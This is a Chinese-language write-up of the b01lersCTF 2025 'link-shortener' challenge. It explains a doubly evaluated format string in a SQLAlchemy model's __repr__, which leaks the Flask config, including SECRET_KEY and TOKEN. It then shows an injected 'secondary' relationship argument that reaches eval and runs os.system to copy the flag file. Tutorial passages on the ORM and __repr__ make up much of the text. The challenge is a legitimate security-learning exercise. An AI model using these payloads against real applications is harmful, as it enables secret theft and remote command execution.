兩次解析格式化字符串 + 使用SQLAlchemy的relationship執行任意命令 -- link-shortener b01lersCTF 2025

題目描述: A fast and reliable link shortener service, with a new feature to add private links!

我們走一遍邏輯

注冊

@app.route("/register", methods=['GET', 'POST'])  
def register():  """  用戶注冊路由,處理用戶注冊請求,驗證用戶名唯一性并保存用戶信息到數據庫  """create_tables()  if request.method == "POST":  # 從表單中獲取用戶信息  name = request.form["name"]  password = request.form["password"]  email = request.form["email"]  with Session() as session:  # 檢查用戶是否已存在  existing_user = session.query(Users).filter_by(name=name).first()  if existing_user:  return statusify(False, "User already exists")  # 對密碼進行哈希處理  hashed_password = bcrypt.hashpw(password.encode("utf-8"), bcrypt.gensalt()).decode("utf-8")  # 創建新用戶  new_user = Users(name=name, hashed_pw=hashed_password, email=email)  session.add(new_user)  session.commit()  return statusify(True, "Account successfully created.")  return render_template("register.html")

登錄

@app.route("/login", methods=['GET', 'POST'])  
def login():  """  用戶登錄路由,處理用戶登錄請求,驗證用戶名和密碼  """    if request.method == "POST":  # 從表單中獲取用戶信息  name = request.form["name"]  password = request.form["password"]  with Session() as session:  # 查詢用戶  user = session.query(Users).filter_by(name=name).first()  if user and bcrypt.checkpw(password.encode("utf-8"), user.hashed_pw.encode("utf-8")):  # 登錄用戶  login_user(user)  return statusify(True, "Logged in")  else:  return statusify(False, "Invalid Credentials")  return render_template("login.html")

這里不太對,返回是拼上去的,我們可以控制元組,我可以控制他們為函數嗎?

from typing import Optional  
from sqlalchemy import ForeignKey, String  
from sqlalchemy.orm import DeclarativeBase, Mapped, mapped_column  
from flask_login import UserMixin  # 定義 SQLAlchemy 的基類,所有模型類都將繼承自這個基類  
class Base(DeclarativeBase):  pass  # 定義 Links 模型類,對應數據庫中的 links 表  
class Links(Base):  # 指定數據庫表名  __tablename__ = "links"  # 定義主鍵字段 id    id: Mapped[int] = mapped_column(primary_key=True)  # 定義 url 字段,存儲鏈接的 URL    url: Mapped[str]  # 定義 path 字段,存儲鏈接的路徑  path: Mapped[str]  # 定義對象的字符串表示形式,方便調試和打印對象信息  def __repr__(self) -> str:  return f"Link(id={self.id!r}, url={self.url!r}, path={self.path!r})".format(self=self)  # 定義 Users 模型類,對應數據庫中的 users 表,同時繼承 UserMixin 以支持 Flask-Loginclass Users(Base, UserMixin):  # 指定數據庫表名  __tablename__ = "users"  # 定義主鍵字段 id    id: Mapped[int] = mapped_column(primary_key=True)  # 定義 name 字段,最大長度為 30    name: Mapped[str] = mapped_column(String(30))  # 定義 email 字段,可為空  email: Mapped[Optional[str]]  # 定義 hashed_pw 字段,存儲用戶的哈希密碼  hashed_pw: Mapped[str]  # 定義對象的字符串表示形式,方便調試和打印對象信息  def __repr__(self) -> str:  return f"User(id={self.id!r}, name={self.name!r}, email={self.email!r})".format(self=self)  # 定義 PrivateLinks 模型類,對應數據庫中的 privatelinks 表  
class PrivateLinks(Base):  # 指定數據庫表名  __tablename__ = "privatelinks"  # 定義主鍵字段 id    id: Mapped[int] = mapped_column(primary_key=True)  # 定義 url 字段,存儲鏈接的 URL    url: Mapped[str]  # 定義 path 字段,存儲鏈接的路徑  path: Mapped[str]  # 定義外鍵字段 user_id,關聯到 users 表的 id 字段  user_id: Mapped[int] = mapped_column(ForeignKey("users.id"))  # 定義對象的字符串表示形式,方便調試和打印對象信息  def __repr__(self) -> str:  return f"Link(id={self.id!r}, url={self.url!r}, path={self.path!r})".format(self=self)
@app.route("/user/create", methods=['GET'])  
@login_required  
def create_private():  """  創建私有鏈接的路由,需要用戶登錄,驗證 URL 有效性,生成唯一路徑并保存到數據庫  """    with Session() as session:  # 查詢當前用戶  user:Users = session.query(Users).filter_by(name=current_user.name).first()  print(user.name)  # 從請求參數中獲取 URL        url = request.args.get("url", default=None)  # 驗證 URL 是否有效  if url is None \  or len(url) > 130 \  or not match(r'^(https?://)?(?:www\.)?[a-zA-Z0-9-]+\.[a-zA-Z]{2,}(?:/[^\s]*)?$', url):  return statusify(False, "Invalid Url")  # 生成路徑  path = gen_path()  # 確保路徑對當前用戶唯一  while any([link.path == path for link in session.query(PrivateLinks).filter_by(path=path, user_id=user.id).all()]):  path = gen_path()  # 將新私有鏈接添加到數據庫  session.add(PrivateLinks(url=url, path=path, user_id=user.id))  session.commit()  return statusify(True, "user/" + path)

然后重定向

@app.route("/<path:path>", methods=['GET'])  
def handle_path(path):  """  處理公共鏈接路徑的路由,根據路徑查詢數據庫并重定向到對應的 URL"""    with Session() as session:  # 根據路徑查詢鏈接  link: Links = session.query(Links).filter_by(path=path).first()  if link is None:  return redirect("/")  return redirect(link.url)

flag在隨機位置,這意味著我必須執行任意代碼或者獲得文件任意文件讀取

RUN mv /tmp/flag.txt /$(head -c 16 /dev/urandom | xxd -p).txt

這個看著很怪

# 定義配置路由,只接受 POST 請求
@app.route("/configure", methods=['POST'])
def configure():# 聲明全局變量global base_urlglobal ukwargsglobal pkwargs# 從請求中獲取 JSON 數據data = request.get_json()if data and data.get("token") == app.config["TOKEN"]: # 如果數據存在且令牌正確,更新配置信息base_url = data.get("base_url")app.config["TOKEN"] = data.get("new_token")ukwargs = data.get("ukwargs")pkwargs = data.get("pkwargs")else:# 如果數據不存在或令牌錯誤,返回錯誤狀態信息return statusify(False, "Invalid Params")# 返回成功狀態信息return statusify(True, "Success")

沒看出來漏洞 …

賽后 -----------------------------------------------------------------------------------------------------------

SQLAlchemy ORM是什么?

我們可以用一個 「倉庫管理員」 的比喻,來形象地理解 SQLAlchemy ORM:

想象場景:

你有一個巨大的倉庫(數據庫),里面堆滿了各種貨物(數據)。倉庫的貨架結構復雜,每個貨架對應一張表格(數據庫表),比如「圖書貨架」「用戶貨架」等。傳統方式中,如果你想存取貨物,必須手動填寫復雜的單據(寫SQL語句),比如:

SELECT * FROM 圖書貨架 WHERE 價格 > 50;  -- 手動寫SQL查詢

但有了 SQLAlchemy ORM,倉庫里會出現一個聰明的 「機器人管理員」,它幫你把倉庫的復雜結構翻譯成你熟悉的 Python 對象和代碼!

機器人管理員(ORM)的工作方式:

  1. 用Python類定義貨架結構
    你不再需要記住貨架的復雜布局,而是用 Python 類描述貨架:

    class 圖書(Base):__tablename__ = '圖書貨架'  # 對應數據庫表名id = Column(Integer, primary_key=True)  # 貨架上的編號書名 = Column(String)價格 = Column(Integer)
    

    這個類就像一張「設計圖」,告訴機器人管理員倉庫里「圖書貨架」長什么樣。

  2. 用Python對象操作貨物

    • 存數據:不再寫 INSERT INTO 圖書貨架...,而是創建一個 Python 對象:
      新書 = 圖書(書名="Python編程", 價格=99)
      
    • 取數據:不再寫 SELECT * FROM 圖書貨架,而是用 Python 語法查詢:
      貴書 = session.query(圖書).filter(圖書.價格 > 50).all()
      
  3. 機器人自動翻譯
    機器人管理員(ORM)會默默將你的 Python 操作翻譯成 SQL 語句,像這樣:

    session.add(新書)  # 機器人翻譯成:INSERT INTO 圖書貨架 (書名, 價格) VALUES ('Python編程', 99);
    session.commit()   # 提交更改到倉庫
    

__repr__

在 Python 中,__repr__ 是一個特殊的魔術方法(magic method),用于定義對象的“官方”字符串表示形式。它的目標是返回一個明確的、通常可執行的表達式字符串,理論上可以用這個字符串重新創建該對象。

核心作用

  1. 調試友好
    當你在交互式環境(如 Python Shell)中直接打印對象,或使用 repr(obj) 函數時,會調用 __repr__。它的輸出應幫助開發者明確對象的狀態。

  2. 重建對象
    最佳實踐是讓 __repr__ 返回的字符串看起來像有效的 Python 代碼,以便通過 eval(repr(obj)) 重新生成對象(如果安全且可行)。

示例代碼

class Person:def __init__(self, name, age):self.name = nameself.age = agedef __repr__(self):return f"Person(name='{self.name}', age={self.age})"p = Person("Alice", 30)
print(p)  # 輸出:Person(name='Alice', age=30)
  • 未定義 __repr__ 時的默認行為
    默認繼承自 object 類的 __repr__ 會返回類似 <__main__.Person object at 0x7f8b1c1e3d90> 的無意義信息。

  • 定義 __repr__
    輸出更清晰的字符串,直接反映對象的關鍵屬性。

__str__ 的區別

方法調用場景目標受眾默認行為
__repr__repr(obj)、直接輸入對象名開發者(調試)返回類名和內存地址
__str__str(obj)print(obj)終端用戶默認回退到 __repr__
  • 優先級
    若未定義 __str__,Python 會使用 __repr__ 作為備用。

最佳實踐

  1. 明確性
    輸出應包含足夠的信息以重建對象(如類名和關鍵參數)。

  2. 可執行性(可選)
    理想情況下,eval(repr(obj)) 應返回等價對象(需確保安全性)。

  3. 格式化規范
    通常返回 f"{self.__class__.__name__}(...)" 風格的字符串。

!r

在Python中,!r 是一種字符串格式化的轉換符,用于在格式化字符串時調用對象的 repr() 方法。它的作用是將對象轉換為“官方字符串表示”,通常用于調試或需要明確顯示對象類型信息的場景。

核心作用

  • !r 會在格式化時調用對象的 repr() 方法,生成一個明確且無歧義的字符串表示。
  • 與之相對的 !s 會調用 str() 方法(生成用戶友好的字符串表示),而 !a 會調用 ascii() 方法(生成ASCII安全的表示)。

使用場景

!r 常用于以下情況:

  1. 調試輸出:顯示變量的精確類型和內容(例如字符串的引號會被保留)。
  2. 需要明確對象信息:比如在日志中記錄對象的結構或類型。

示例

name = "Alice"
print(f"普通輸出: {name}")      # 輸出: Alice
print(f"使用!r: {name!r}")     # 輸出: 'Alice'(調用 repr(name))
class Person:def __repr__(self):return "Person()"p = Person()
print(f"{p}")    # 輸出: Person()(默認調用 __str__,若未定義則調用 __repr__)
print(f"{p!r}")  # 顯式調用 __repr__: Person()

當我們將如下鏈接縮短時

http://fake.com/{self._sa_registry.__init__.__globals__[Mapper].__init__.__globals__[sys].modules[__main__].app.config}

在all路由中將能看到這樣的情況

 "Link(id=3, url='http://fake.com/\u003CConfig {'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'SECRET_KEY': '6bb16f1e31c759004f3d1df627bbaea43e9ed2d32612ad5e302685ad9b74ad1ec1ea79682d7c088d1f53ce54ff14c6370843206629b7ac6cdd0f73a1bfba8e3b', 'SECRET_KEY_FALLBACKS': None, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'TRUSTED_HOSTS': None, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_PARTITIONED': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'MAX_FORM_MEMORY_SIZE': 500000, 'MAX_FORM_PARTS': 1000, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'PROVIDE_AUTOMATIC_OPTIONS': True, 'SQLALCHEMY_DATABASE_URI': 'sqlite:///./db/links.db', 'TOKEN': 'b0d9c8f82a36c3314a1afab0171264bfcb6e220782517fe9c3d5d59a12bae5f64093e93d8c00d900200f94549608003fd3a81cbf16733ce336fb14cabae044e7'}\u003E', path='gVTQ')"

這是因為格式化字符串被二次解析

f"Link(id={self.id!r}, url={self.url!r}, path={self.path!r})".format(self=self)
f_str = f"User(id={self.id!r}, name={self.name!r}, email={self.email!r})"
return f_str.format(self=self)

接下來我們可以訪問configure路由并篡改ukwargs

# 定義配置路由,只接受 POST 請求
@app.route("/configure", methods=['POST'])
def configure():# 聲明全局變量global base_urlglobal ukwargsglobal pkwargs# 從請求中獲取 JSON 數據data = request.get_json()if data and data.get("token") == app.config["TOKEN"]: # 如果數據存在且令牌正確,更新配置信息base_url = data.get("base_url")app.config["TOKEN"] = data.get("new_token")ukwargs = data.get("ukwargs")pkwargs = data.get("pkwargs")else:# 如果數據不存在或令牌錯誤,返回錯誤狀態信息return statusify(False, "Invalid Params")# 返回成功狀態信息return statusify(True, "Success")

這意味這我們可以控制 relationship 的參數

def create_tables():# 創建數據庫檢查器inspector = inspect(engine)if 'users' not in inspector.get_table_names():# 如果用戶表不存在,定義用戶和私有鏈接的關系并創建用戶表Users.private_links = relationship("PrivateLinks", **ukwargs)Users.__table__.create(engine)if 'privatelinks' not in inspector.get_table_names():# 如果私有鏈接表不存在,定義私有鏈接和用戶的關系并創建私有鏈接表PrivateLinks.users = relationship("Users", **pkwargs)PrivateLinks.__table__.create(engine)

基本關系模式 — SQLAlchemy 2.0 文檔


Using a late-evaluated form for the “secondary” argument of many-to-many

Many-to-many relationships make use of the?relationship.secondary?parameter, which ordinarily indicates a reference to a typically non-mapped?Table?object or other Core selectable object. Late evaluation using a lambda callable is typical.

For the example given at?Many To Many, if we assumed that the?Table?object would be defined at a point later on in the module than the mapped class itself, we may write the?relationship()?using a lambda as:association_table

class Parent(Base):
tablename = “left_table”

id: Mapped[int] = mapped_column(primary_key=True)
children: Mapped[List["Child"]] = relationship("Child", secondary=lambda: association_table
)

As a shortcut for table names that are also?valid Python identifiers, the?relationship.secondary?parameter may also be passed as a string, where resolution works by evaluation of the string as a Python expression, with simple identifier names linked to same-named?Table?objects that are present in the same?MetaData?collection referenced by the current?registry.

In the example below, the expression?is evaluated as a variable named “association_table” that is resolved against the table names within the?MetaData?collection:"association_table"

class Parent(Base):
tablename = “left_table”

id: Mapped[int] = mapped_column(primary_key=True)
children: Mapped[List["Child"]] = relationship(secondary="association_table")

Note

When passed as a string, the name passed to?relationship.secondary?must be a valid Python identifier?starting with a letter and containing only alphanumeric characters or underscores. Other characters such as dashes etc. will be interpreted as Python operators which will not resolve to the name given. Please consider using lambda expressions rather than strings for improved clarity.

Warning

When passed as a string,?relationship.secondary?argument is interpreted using Python’s?function, even though it’s typically the name of a table.?DO NOT PASS UNTRUSTED INPUT TO THIS STRING.eval()


secondary 是 SQLAlchemy 中用于定義多對多關系的“中間人”,它指向一個關聯表(Association Table),告訴 ORM 如何通過這個中間表連接兩個主表。

舉個現實例子

想象你要管理一個 學生選課系統

  • 學生表students):記錄學生信息
  • 課程表courses):記錄課程信息
  • 關聯表enrollments):記錄哪個學生選了哪門課(學生ID + 課程ID)

這里的 enrollments 就是 secondary 指向的中間表。通過它,一個學生可以選多門課,一門課也可以被多個學生選。


代碼解析 🔍

# 1. 定義中間表(secondary 指向它)
enrollments = Table("enrollments",Base.metadata,Column("student_id", ForeignKey("students.id")),Column("course_id", ForeignKey("courses.id"))
)# 2. 在學生表中定義多對多關系
class Student(Base):__tablename__ = "students"id = Column(Integer, primary_key=True)# ▼ 關鍵:通過 secondary 指定中間表 ▼courses = relationship("Course", secondary=enrollments)# 3. 課程表無需特殊定義
class Course(Base):__tablename__ = "courses"id = Column(Integer, primary_key=True)

secondary 的作用 🛠?

  1. 自動管理關聯表
    當你操作 student.courses.append(course) 時,SQLAlchemy 會自動在 enrollments 表中插入關聯記錄。

  2. 查詢導航
    可以直接通過 student.courses 獲取學生選的所有課程,無需手動寫 JOIN 查詢。

  3. 解耦主表
    學生表和課程表無需直接包含對方的信息,所有關聯邏輯由中間表處理。

為什么需要它? 🤔

  • 多對多關系的本質:直接在主表中無法表達“一個學生選多門課,一門課有多個學生”的關系。
  • 中間表必要性:必須通過第三個表存儲關聯關系(類似現實中的購物車記錄訂單和商品的關系)。

secondary 會在eval中解析

ukwargs={"back_populates": "users","secondary": "__import__('os').system('cp /f* templates/sponsors.html')"
}

最后訪問 /register 觸發

@app.route("/register", methods=['GET', 'POST'])
def register():# 調用創建表的函數create_tables()

再訪問/sponsors

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/79836.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/79836.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/79836.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

后端id類型為long類型時,返回給前端瀏覽器四舍五入,導致id精度缺失問題

背景 今天在代碼里&#xff0c;掉了別人寫的接口&#xff0c;有個id的字段是long類型的&#xff0c;我這邊加點參數返回給前端&#xff0c;然后前端根據id修改&#xff0c;結果修改的數據記錄有&#xff0c;但是沒起作用&#xff0c;后來發現根據他傳給我的id在后臺數據庫查不…

Scartch038(四季變換)

知識回顧 1.了解和簡單使用音樂和視頻偵測模塊 2.使用克隆體做出波紋特效 3.取色器妙用偵測背景顏色 前言 我國幅員遼闊,不同地方的四季會有不同的美麗景色,這節課我帶你使用程序做一個體現北方四季變化的程序 之前的程序基本都是好玩的,這節課做一個能夠賞心悅目的程序。…

JVM happens-before 原則有哪些?

理解Java Memory Model (JMM) 中的 happens-before 原則對于編寫并發程序有很大幫助。 Happens-before 關系是 JMM 用來描述兩個操作之間的內存可見性以及執行順序的抽象概念。如果一個操作 A happens-before 另一個操作 B (記作 A hb B)&#xff0c;那么 JMM 向你保證&#x…

從 Eclipse Papyrus / XText 轉向.NET —— SCADE MBD技術的演化

從KPN[1]的萌芽開始&#xff0c;到SCADE的推出[2]&#xff0c;再到Scade 6的技術更迭[3]&#xff0c;SCADE 基于模型的開發技術已經歷許多。現在&#xff0c;Scade One 已開啟全新的探索 —— 從 Eclipse Papyrus / XText 轉向.NET 8跨平臺應用。 [1]: KPN, Kahn進程網絡 (197…

osquery在網絡安全入侵場景中的應用實戰(二)

背景 上次寫了osquery在網絡安全入侵場景中的應用實戰(一)結果還不錯,這次篇目二再增加一些場景。osquery主要解決的時員工被入侵之后電腦該如何溯源取證的問題。通常EDR會有日志,但是不會上報全量的日志。發現機器有惡意文件需要上級取證的時候,往往是比較麻煩的,會有這…

opencv+opencv_contrib+cuda和VS2022編譯

本文介紹使用OpenCV和OpenCV_Contrib源碼及Cuda進行編譯的過程&#xff0c;編譯過程中會用到OpenCV、OpenCV_Contrib、Toolkit、Cmake、VS2022等工具&#xff0c;最終編譯OpenCV的Cuda版本。 一、OpenCV下載地址 OpenCV官網下載地址:https://opencv.org/releases/#&#xff0…

spring中的@ConfigurationProperties注解詳解

一、核心功能與作用 ConfigurationProperties 是Spring Boot中用于將外部配置&#xff08;如application.properties或application.yml中的屬性&#xff09;綁定到Java對象的核心注解。其核心功能包括&#xff1a; 配置集中管理&#xff1a;將分散的配置屬性按前綴綁定到Java類…

【C/C++】函數模板

&#x1f3af; C 學習筆記&#xff1a;函數模板&#xff08;Function Template&#xff09; 本文是面向 C 初學者的函數模板學習筆記&#xff0c;內容包括基本概念、定義與使用、實例化過程、注意事項等&#xff0c;附帶示例代碼&#xff0c;便于理解與復現。 &#x1f4cc; 一…

電子病歷高質量語料庫構建方法與架構項目(智能數據目錄篇)

電子病歷高質量語料庫的構建是醫療人工智能發展的基礎性工作,而智能數據目錄作為數據治理的核心組件,能夠有效管理這些語料資源。本文將系統闡述電子病歷高質量語料庫的構建方法與架構,特別聚焦于智能數據目錄的設計與實現,包括數據目錄的功能定位、元數據管理、構建步驟以…

前端懶加載(Lazy Loading)實戰指南

&#x1f680; 前端懶加載&#xff08;Lazy Loading&#xff09;實戰指南 懶加載是現代 Web 性能優化的“常規操作”。它的目標簡單直接&#xff1a;讓用戶只加載“當下真正需要的資源”。從靜態資源、組件、模塊到數據&#xff0c;每一層都可以使用懶加載技術&#xff0c;構建…

在 Ubuntu 系統中,查看已安裝程序的方法

在 Ubuntu 系統中&#xff0c;查看已安裝程序的方法取決于軟件的安裝方式&#xff08;如通過 apt、snap、flatpak 或手動安裝&#xff09;。以下是幾種常見方法&#xff1a; 通過 apt 包管理器安裝的軟件 適用于通過 apt 或 dpkg 安裝的 .deb 包。 列出所有已安裝的軟件包&…

性能優化實踐:性能監控體系

性能優化實踐&#xff1a;性能監控體系 在Flutter應用開發中&#xff0c;建立一個完善的性能監控體系對于保證應用質量和用戶體驗至關重要。本文將從實戰角度深入講解如何搭建Flutter應用的性能監控體系&#xff0c;包括監控指標的設計、數據采集實現、分析平臺搭建等內容。 …

kotlin 02flow-sharedFlow 完整教程

一 sharedFlow是什么 SharedFlow 是 Kotlin 協程中 Flow 的一種 熱流&#xff08;Hot Flow&#xff09;&#xff0c;用于在多個訂閱者之間 共享事件或數據流。它適合處理 一次性事件&#xff08;如導航、彈窗、Toast、刷新通知等&#xff09;&#xff0c;而不是持續狀態。 ? …

模擬開發授權平臺

這次只是實現應用的curd和公私鑰的校驗以及第三方的通知dmeo項目&#xff0c;大家可以拓開視野來編寫 進入主題 項目鏈接&#xff1a;桌角的眼鏡/develop_auth_platform 直接下拉并運行就行 回調應用代碼在test包中 回調應用測試代碼 package mainimport ("encoding/…

STM32 USART串口

一、通信接口 二、串口通信 串口是一種應用十分廣泛的通訊接口&#xff0c;串口成本低、容易使用、通信線路簡單&#xff0c;可實現兩個設備的互相通信單片機的串口可以使單片機與單片機、單片機與電腦、單片機與各式各樣的模塊互相通信&#xff0c;極大地擴展了單片機的應用…

uniapp開發06-視頻組件video的使用注意事項

uniapp開發-視頻組件video的使用注意事項&#xff01;實際項目開發中&#xff0c;經常會遇到視頻播放的業務需求。下面簡單講解一下&#xff0c;uniapp官方提供的視頻播放組件video的常見參數和實際效果。 1&#xff1a;先看代碼&#xff1a; <!--視頻組件的使用展示-->…

【爬蟲】微博熱搜機

第一個下面一點&#xff1a; js代碼&#xff1a; const n require("crypto-js");let s n.SHA1(n.enc.Utf8.parse("tSdGtmwh49BcR1irt18mxG41dGsBuGKS")) , a n.enc.Hex.parse(s.toString(n.enc.Hex).substr(0, 32));function h(t) {let e (i t Stri…

軟考 系統架構設計師系列知識點之雜項集萃(51)

接前一篇文章&#xff1a;軟考 系統架構設計師系列知識點之雜項集萃&#xff08;50&#xff09; 第80題 設三個煤場A1、A2、A3分別能供應煤7、12、11萬噸&#xff0c;三個工廠B1、B2、B3分別需要10、10、10萬噸&#xff0c;從各煤場到各工廠運煤的單價&#xff08;百元/噸&…

npm,yarn,pnpm,cnpm,nvm,npx包管理器常用命令

前端比較主流的包管理器主要有三個npm&#xff0c;yarn&#xff0c;pnpm 多層級依賴&#xff0c;通常發生在依賴之間存在復雜的版本要求時 包 A 依賴于包 B1.0.0 包 B 依賴于包 C2.0.0 另一個包 D 也依賴于 C3.0.0 一、NPM (Node Package Manager) https://www.npmjs.cn/…

科普簡潔版:同態加密——密碼學的未來瑰寶

文章目錄 一、同態加密的基本概念1.1 什么是同態加密1.2 同態加密的數學本質1.3 同態加密的類型 二、主要同態加密方案詳解2.1 ElGamal加密2.2 Paillier加密2.3 Gentry的完全同態加密方案2.4 BGV方案2.5 BFV方案2.6 CKKS方案 三、同態加密的關鍵技術3.1 噪聲管理技術3.2 多項式…